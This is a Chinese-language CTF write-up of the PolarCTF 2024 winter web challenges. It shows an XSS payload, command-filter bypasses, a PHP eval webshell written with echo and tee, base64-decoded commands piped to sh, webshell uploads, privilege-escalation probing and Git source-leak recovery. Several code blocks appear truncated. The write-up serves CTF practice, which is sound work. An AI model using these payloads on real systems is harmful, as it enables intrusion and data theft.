2024polar-winter
2024polarctf-web冬季个人挑战赛
【WEB】xxmmll
这个是先bp发个包,响应的有个php文件,进去之后有个输入框
1 |
【WEB】赌王 –没做出来
直接发空爆破
你可以去ed3d2c21991e3bef5e069713af9fa6ca这个目录下看看,但是这个提示不对,这是个php文件
进入之后会提示,输入数字会在你原有的数字后边+1;长度限制为20
存在xss漏洞但是没东西
数字unicode绕过+科学计数法+全字符绕过 不好使,好像是没被解析
复现
1 | <script>confirm(1);</script> |
给出另一个文件php,然后网页源代码有提示,伪造本地IP;然后去命令执行
【WEB】狗黑子的RCE
ps看进程,里面没事,env看环境变量,有个假flag
打开文件使用函数替换
- rev
- strings
查看目录文件使用函数替换
- find / **
find
**列出目录及其子目录中的文件。- 出flag.php
- du / **
du
**:查看目录大小和文件信息- 在这里不出flag.php
- stat /
- **
stat
**:通过stat
获取文件或目录的详细信息。
- **
最后使用\反下划线绕过flag的禁用
【WEB】坏掉的上传页
坏掉的上传页,就写个新的上传页面(让gpt写的)
1 | <!DOCTYPE html> |
能传,但是找不到传哪去了
disearch扫一下发现有个config.php
内容为
1 | <?php |
分析一下👇define("DB_FILE", UPLOAD_PATH . "database.db");
作用:定义常量
DB_FILE
,它表示数据库文件的路径。define()
用来定义一个常量,这个常量一旦定义就不能再修改。这段代码将常量
1
DB_FILE
设置为一个路径,路径是由
1
UPLOAD_PATH
常量和文件名
1
database.db
拼接而成。
UPLOAD_PATH
是另一个常量或变量,它应该在其他地方定义,并代表上传文件目录的路径。- 例如,如果
UPLOAD_PATH
被定义为/var/www/uploads/
,那么DB_FILE
就会是/var/www/uploads/database.db
。
所以步骤就出来了
上传一句话木马
在/database.db上边看新出来的文件上传到哪了
直接访问利用
这个flag好像是假的;蚁剑连上去全局查找一下
1
find / -type f -name "*flag*"
出真flag
【WEB】button
查看网页源代码,就是发送了一个请求;直接发包
【WEB】井字棋
根据网页源代码制作请求包
【WEB】简单的导航站
有提示,鼠标放在5个选项上显示的是,不敲了,自己看吧
先注册登录,然后有个用户列表,在fastcoll上边构造两个md5之后相等的不相等文件;用yakit发本地文件;可以看到用户列表里面有个P0la2adm1n
主页查看页面源代码,出现Admin1234! 这个是密码;账户名爆破上边的这个
然后上传个gif89a开头的码,然后将码复制出来爆破验证flag哪个,筛选出正确的
【WEB】坦诚相见
ls ${PWD:0:1}f\lag
但是无法打开文件
1 | -r-------- 1 root root 39 Dec 6 16:34 /flag |
可见需要提权
再试试看看其他的
1 | find ${PWD:0:1} -type f -name "*fla*" |
1 | /proc/sys/kernel/acpi_video_flags |
没办法,写码
- 法一,自己手搓
1 | echo "$(head -c 1 index.php)?php eval(\$_POST[1]); ?$(tail -c 1 index.php)" | tee 2.php |
- 法二,模样大佬的码
1 | Echo "shell" | tee 1.php |
- 法三,直接删除no.php
1 |
- 法四
1 | wc $(echo "L2Yq" | base64 -d) |
- 法五
1 | cd ..;cd ..;cd ..;sudo cat flag |
- 法六
1 | echo 'c3VkbyBjYXQgL22sYc='|base64 -d|sh |
找suid
1 | find / -perm -u=s -type f 2>/dev/null |
suid提权失败,随便点了几下直接出flag了
【WEB】Note
disearch扫出文件泄露flag.txt
复现
这个根据debug.txt去构造反序列化对象
参数名为data,对象是Note;里面有个filename和
1 | <?php |
任务cmd
复现
响应包有提示
1 | X-Powered-By: the username is : xiaoming |
爆破密码
123123 在url上面修改成xiaohei
用小黑的电话号作为密钥,在扫目录中idnex.php爆破admin的密码,然后计划一,以cmd为参数命令执行
ezezser
复现
考的反序列化和git源码泄露
1 | python2 GitHack.py http://e1b023a7-f6ad-4077-940e-374e4b38ce61.www.polarctf.com:8090/.git/ |
1 | git log --all 用于查看 Git 仓库中所有分支的提交历史记录。 |
1 | git reset --hard <commit>:将当前分支重置到指定的提交 <commit>,并且丢弃所有本地更改。 |
然后接着做就行,出完整源码了